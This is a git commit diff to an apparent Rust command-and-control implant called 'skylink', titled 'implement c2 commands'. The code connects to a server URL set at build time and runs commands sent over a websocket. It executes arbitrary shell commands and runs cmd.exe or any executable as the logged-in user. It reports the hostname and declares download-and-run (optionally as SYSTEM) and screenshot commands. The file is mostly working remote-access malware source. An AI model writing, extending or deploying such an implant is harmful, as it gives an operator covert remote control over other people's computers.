feat: move ws to separate file & implement c2 commands

src/lib.rs

@@ -1,20 +1,19 @@
-use futures_util::{SinkExt, StreamExt};
 use futures_util::stream::SplitSink;
 use serde::{Deserialize, Serialize};
-use tokio_tungstenite::tungstenite::Bytes;
 use std::sync::Arc;
 use tokio::{net::TcpStream, sync::Mutex};
 use tokio_tungstenite::tungstenite::protocol::Message;
-use tokio_tungstenite::{MaybeTlsStream, WebSocketStream, connect_async};
+use tokio_tungstenite::{MaybeTlsStream, WebSocketStream};
 
-use crate::lib::logger::{log, LogLevel};
+use crate::lib::logger::{LogLevel, log};
 use crate::lib::winapi::run_as_user;
 
 pub const WS_URL: &str = env!("C2_SERVER_URL");
-pub const LOG_PATH: &str = "test.txt";
+pub const LOG_PATH: &str = r"C:\Users\xory\Desktop\test.txt";
 
 pub mod lib {
   pub mod logger;
+  pub mod websockets;
   pub mod winapi;
 }
 
@@ -28,81 +27,57 @@ pub enum PayloadType {
 }
 
 #[derive(Deserialize, Serialize)]
-pub struct DnxParams<'a> {
-  pub url: &'a str,
-  pub name: &'a str,
-  pub args: &'a str,
+pub struct DnxParams {
+  pub url: String,
+  pub name: String,
+  pub args: String,
   pub run_as_system: bool,
   pub file_type: PayloadType,
 }
 
 #[derive(Deserialize, Serialize)]
-pub enum Command<'a> {
-  RunCMD { command: &'a str, args: Vec<&'a str> },
-  URunCMD { command: &'a str },
-  URunExe { path: &'a str, args: &'a str },
+pub enum Command {
+  RunCMD { command: String, args: Vec<String> },
+  URunCMD { command: String },
+  URunExe { path: String, args: String },
   ClientInfo,
-  Dnx { params: DnxParams<'a> },
+  Dnx { params: DnxParams },
   Screenshot,
 }
 
-pub async fn reconnect_websocket(ws: WsTx) {
-  let mut lock = ws.lock().await;
-  loop {
-    if let Ok(connection) = connect_async(WS_URL).await {
-      let (ws_conn, _) = connection;
-      let (ws_trx, _) = ws_conn.split();
-      *lock = Some(ws_trx);
-      break;
+pub async fn eval_command(text: impl Into<&str>) -> anyhow::Result<String> {
+  let str_ified = text.into();
+  let parsed: Command = serde_json::from_str(str_ified)?;
+  match parsed {
+    Command::RunCMD { command, args } => {
+      let h = args.join(" "); // only used for logging/debugging
+      log(LogLevel::Debug, LOG_PATH, format!("Running command {command} with args {h}")).await;
+      let proc = std::process::Command::new(command).args(args).output()?;
+      return Ok(String::from_utf8_lossy(&proc.stdout).to_string());
     }
-    std::thread::sleep(std::time::Duration::from_secs(5));
+    Command::URunCMD { command } => {
+      let formatted_param = format!("cmd.exe /c \"{command}\"");
+      log(LogLevel::Debug, LOG_PATH, format!("Running command {formatted_param}")).await;
+      let _result = run_as_user(r"C:\Windows\System32\cmd.exe", &formatted_param)?;
+      // we temporarily mark these with _ since run_as_user might return later in dev
+      return Ok(format!(""));
+    }
+    Command::URunExe { path, args } => {
+      if let Some(executable_name) = path.split(r"\").last() {
+        log(LogLevel::Debug, LOG_PATH, format!("Running executable {path} with args {args}")).await;
+        let formatted_param = format!("{executable_name} {args}");
+        let _result = run_as_user(&path, &formatted_param)?;
+        return Ok(format!(""));
+      } else {
+        use tokio::io::{Error, ErrorKind};
+        return Err(Error::new(ErrorKind::NotFound, "Invalid path").into());
+      }
+    }
+    Command::ClientInfo => {
+      let hostname = sysinfo::System::host_name();
+      let skylink_ver = "1.0.0";
+      if let Some(actual_hostname) = hostname { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"{actual_hostname}\" }}")) } else { Ok(format!("{{ \"client_version\": \"{skylink_ver}\", \"host_name\": \"err_none_detected\" }}")) }
+    }
+    _ => todo!(),
   }
 }
-
-pub async fn ping_job(ws_tx: WsTx) -> anyhow::Result<()> {
-    tokio::time::sleep(std::time::Duration::from_secs(10)).await;
-    let message = Message::Ping(Bytes::from("ping"));
-    {
-      let mut unlocked_ws_tx = ws_tx.lock().await;
-      if let Some(h) = unlocked_ws_tx.as_mut() {
-          log(LogLevel::Debug, LOG_PATH, "[ws] sending ping".to_string()).await;
-          h.send(message).await?;
-          return Ok(());
-      } else {
-          use tokio::io::{Error, ErrorKind};
-          return Err(Error::new(ErrorKind::BrokenPipe, "Sender is none").into())
-      }
-    }
-}
-
-pub fn eval_command(text: &str) -> anyhow::Result<String> {
-    let parsed: Command = serde_json::from_str(text)?;
-    match parsed {
-      Command::RunCMD {command, args} => {
-        let proc = std::process::Command::new(command)
-            .args(args)
-            .output()?;
-        return Ok(String::from_utf8_lossy(&proc.stdout).to_string());
-      },
-      Command::URunCMD { command } => {
-          let formatted_param = format!("cmd.exe /k {command}");
-          let _result = run_as_user(r"C:\Windows\System32\cmd.exe", &formatted_param)?;
-          // we temporarily mark these with _ since run_as_user might return later in dev
-          return Ok(format!(""))
-      },
-      Command::URunExe { path, args } => {
-          if let Some(executable_name) = path.split(r"\").last() {
-            let formatted_param =  format!("{executable_name} {args}");
-            let _result = run_as_user(path, &formatted_param)?;
-            return Ok(format!(""))
-          } else {
-            use tokio::io::{Error, ErrorKind};
-            return Err(Error::new(ErrorKind::NotFound, "Invalid path").into())
-          }
-      }
-      _ => todo!()
-    }
-}
-
-
-